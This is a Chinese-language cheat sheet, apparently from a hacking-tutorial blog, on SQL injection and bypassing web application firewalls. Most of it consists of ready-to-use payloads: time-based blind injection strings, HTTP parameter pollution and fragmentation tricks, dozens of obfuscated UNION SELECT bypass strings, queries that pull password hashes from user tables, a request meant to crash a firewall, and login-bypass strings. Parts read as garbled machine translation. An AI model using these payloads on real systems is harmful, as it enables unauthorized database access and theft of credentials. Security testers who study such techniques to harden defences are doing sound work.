SQLI
甲SQL注入攻击通过从客户机到该应用程序的输入数据包括插入或SQL查询的“注射”的。一个成功的SQL注入攻击可以从数据库中读取敏感数据,修改数据库数据(插入/更新/删除),对数据库执行管理操作(例如关闭DBMS),恢复DBMS文件上存在的给定文件的内容系统,并在某些情况下向操作系统发出命令。SQL注入攻击是一种 注入式攻击,其中SQL命令被注入到数据平面输入中,以便执行预定义的SQL命令。
SQL注入 - 基本概念
有两种类型的SQL注入
?将SQL注入到字符串/字符参数中 示例:SELECT * from table where example ='Example' ?将SQL注入到数字参数中 示例:SELECT * from table where id = 123
根据DBMS类型和注入条件将SQL注入漏洞分为多个类。
?易受攻击的请求可以进入插入,更新,删除等。 例如:UPDATE用户SET pass ='1'其中user ='t1'OR 1 = 1--'
盲目的SQL注入
示例:select * from table where id = 1 AND if((ascii(lower(substring((select user()),$ i,1))))!= $ s,1,benchmark(200000,md5(now( ))))
SLEEP(5)-- SELECT BENCHMARK(1000000,MD5('A')); id=1 OR SLEEP(25)=0 LIMIT 1-- id=1) OR SLEEP(25)=0 LIMIT 1-- id=1' OR SLEEP(25)=0 LIMIT 1-- id=1') OR SLEEP(25)=0 LIMIT 1-- id=1)) OR SLEEP(25)=0 LIMIT 1-- id=SELECT SLEEP(25)--
各种DBMS的开发特性
例如:(MySQL):SELECT * from table where id = 1 union select 1,2,3 示例:(PostgreSQL):SELECT * from table where id = 1; select 1,2,3
绕过WAF:SQL注入 - 规范化方法
示例请求规范化功能中漏洞的编号(1)。
?以下请求不允许任何人进行攻击
/?id=1+union+select+1,2,3/*
?如果WAF中存在相应的漏洞,请求
will be successfully performed /?id=1/*union*/union/*select*/select+1,2,3/*
?经过WAF处理后,请求会变成
index.php?id = 1 / * uni X on * / union / * sel X ect * / select + 1,2,3 / *
给定示例适用于清除危险流量的情况,而不是阻止整个请求或攻击源。
示例请求标准化功能中的漏洞示例编号(2)。
?同样,以下请求不允许任何人进行攻击
/?id=1+union+select+1,2,3/*
?如果WAF中存在相应的漏洞,该请求将成功执行
/?id=1+un/**/ion+sel/**/ect+1,2,3--
?SQL请求将变为
SELECT * from table where id = 1 union select 1,2,3--
可以使用WAF切断的任何符号序列(e.g., #####, %00).代替构造/ ** /。
给定的示例在过度清理传入数据的情况下工作(用空字符串替换正则表达式)。
' 使用HTTP参数污染(HPP)'
?以下请求不允许任何人进行攻击
/?id=1;select+1,2,3+from+users+where+id=1--
?此请求将使用HPP成功执行
/?id=1;select+1&id=2,3+from+users+where+id=1--
绕过WAF的HPP攻击的成功传导取决于被攻击的应用程序的环境。
EU09 Luca Carettoni,Stefano diPaola。
使用HTTP参数污染(HPP)
?易受攻击的代码
SQL =“select from table where id =”+ Request.QueryString(“id”)
?使用HPP技术成功执行此请求
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
?SQL请求从表中变为选择键
id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users
ByPassing WAF:SQL注入 - HPF
使用HTTP参数碎片(HPF)
?易受攻击的代码示例
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']); Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);
?以下请求不允许任何人进行攻击
/?a=1+union+select+1,2/*
?这些请求可以使用HPF成功执行
/?a=1+union/*&b=*/select+1,2 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
SQL请求变成了
select * from table where a=1 union/* and b=*/select 1,2 select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
绕过WAF:盲目SQL注入
使用逻辑请求和/或
?以下请求允许对许多WAF执行成功攻击
/?id=1+OR+0x50=0x50 /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
可以使用否定和不平等符号(!=,<>,<,>)来代替等号 - 这是惊人的,但是很多WAF错过了!
通过将使用WAF签名的SQL函数替换为它们的同义词,可以利用blind-SQL Injection方法利用此漏洞。
substring() -> mid(), substr()
ascii() -> hex(), bin()
benchmark() -> sleep()
各种各样的逻辑请求。
and 1
or 1
and 1=1
and 2<3
and 'a'='a'
and 'a'<>'b'
and char(32)=' '
and 3<=2
and 5<=>4
and 5<=>5
and 5 is null
or 5 is not null
....
具有相同含义的各种请求符号的示例。
select user from mysql.user where user = 'user' OR mid(password,1,1)='*'
select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a
select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')
select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'
select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'
select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'
select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42
select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42
select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1
select user from mysql.user where user = 'user' OR position(0x2a in password)=1
select user from mysql.user where user = 'user' OR locate(0x2a,password)=1
已知:
substring((select 'password'),1,1) = 0x70
substr((select 'password'),1,1) = 0x70
mid((select 'password'),1,1) = 0x70
新:
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
STRCMP(expr1,expr2) returns 0 if the strings are the same, -1 if the first , argument is smaller than the second one, and 1 otherwise.
签名旁路的一个例子。
以下请求获取WAF签名
/?id=1+union+(select+1,2+from+users)
但有时,使用的签名可以被绕过
/?id=1+union+(select+'xz'from+xxx) /?id=(1)union(select(1),mid(hash,1,32)from(users)) /?id=1+union+(select'1',concat(login,hash)from+users) /?id=(1)union(((((((select(1),hex(hash)from(users)))))))) /?id=(1)or(0x50=0x50)
SQL注入攻击可以成功绕过WAF,并且可以在以下所有情况下执行:
?WAF功能中的漏洞请求标准化。
?应用HPP和HPF技术。
?绕过过滤规则(签名)。
?盲目SQL注入方法的漏洞利用。
?攻击应用程序操作逻辑(和/或)
WAF旁路字符串。
/*!%55NiOn*/ /*!%53eLEct*/ %55nion(%53elect 1,2,3)-- - +union+distinct+select+ +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ concat(0x223e,@@version) concat(0x273e27,version(),0x3c212d2d) concat(0x223e3c62723e,version(),0x3c696d67207372633d22) concat(0x223e,@@version,0x3c696d67207372633d22) concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62723e) concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22) concat(‘’,@@version,’’) /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ /*!u%6eion*/ /*!se%6cect*/ +un/**/ion+se/**/lect uni%0bon+se%0blect %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A REVERSE(noinu)+REVERSE(tceles) /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3) /*!union*/+/*!select*/ union+/*!select*/ /**/union/**/select/**/ /**/uNIon/**/sEleCt/**/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinct+select+ +union+distinctROW+select+ +UnIOn%0d%0aSeleCt%0d%0a UNION/*&test=1*/SELECT/*&pwn=2*/ un?+un/**/ion+se/**/lect+ +UNunionION+SEselectLECT+ +uni%0bon+se%0blect+ %252f%252a*/union%252f%252a /select%252f%252a*/ /%2A%2A/union/%2A%2A/select/%2A%2A/ %2f**%2funion%2f**%2fselect%2f**%2f union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A /*!UnIoN*/SeLecT+
使用Url编码方法通过PASS选择联盟:
%55nion(%53elect) union%20distinct%20select union%20%64istinctRO%57%20select union%2053elect %23?%0auion%20?%23?%0aselect %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect %55nion %53eLEct u%6eion se%6cect unio%6e %73elect unio%6e%20%64istinc%74%20%73elect uni%6fn distinct%52OW s%65lect %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
非法混用排序方式ByPass方法:
unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))) /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)
union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?
绕过评论
SQL注释允许我们绕过很多过滤和WAF。
代码: http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
案例变更
一些WAF只过滤小写的SQL关键字。
正则表达式过滤器:/ union \ sselect / g
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
替换的关键字
某些应用程序和WAF使用preg_replace删除所有SQL关键字。所以我们可以轻松绕过。
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
某些情况下的SQL关键字已被过滤掉,并用空格替换。所以我们可以使用“%0b”绕过。
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
对于Mod_rewrite,注释“/ ** /”无法绕过。所以我们用“%0b”替换“/ ** /”。
Forbidden: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html Bypassed : http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
高级方法
通过执行缓冲区溢出来防止崩溃。
1)缓冲区溢出/防火墙崩溃:许多防火墙都是用C / C ++开发的,我们可以使用缓冲区溢出来使其崩溃。
http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…. You can test if the WAF can be crashed by typing: ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…. If you get a 500, you can exploit it using the Buffer Overflow Method.
2)用HEX值替换字符:我们可以用HEX(URL编码)值替换一些字符。
Example: http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…. (which means “union select”)
4)其他可利用功能:许多防火墙试图通过添加原型或奇怪功能来提供更多保护!(当然,我们可以利用!):
Example: This firewall below replaces “*” (asterisks) with Whitespaces! What we can do is this: http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4… (If the Firewall removes the “*”, the result will be: 15+union+select….) So, if you find such a silly function, you can exploit it, in this way.
身份验证绕过
如果我们需要绕过一些管理面板,我们使用或1 = 1。
Code: or 1-- -' or 1 or '1"or 1 or"
SELECT * FROM login WHERE id=1 or 1-- -' or 1 or '1"or 1 or" AND username= AND password= the "or 1-- -" gets active, make the condition true and ignores the rest of the query. now lets check regular string-
SELECT * FROM login WHERE username=' or 1-- -' or 1 or '1"or 1 or" ' ..... the "or 1" part make the query true, and the other parts are considered as the comparison strings. same with the double quotes. SELECT * FROM login WHERE username=" or 1-- -' or 1 or '1"or 1 or" "
基准
请使用Benchmark并创建自己的SQLi字符串,并在Benchmark上测试您的不同测试用例
后期更新各种黑科技文本教程,关注头条号:小桀网络